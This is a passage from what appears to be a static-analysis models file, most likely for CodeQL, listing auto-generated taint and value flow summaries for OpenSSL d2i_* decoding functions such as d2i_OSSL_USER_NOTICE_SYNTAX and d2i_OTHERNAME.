"d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_TIME", "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_WEEKS", "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_X_DAY_OF", "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", 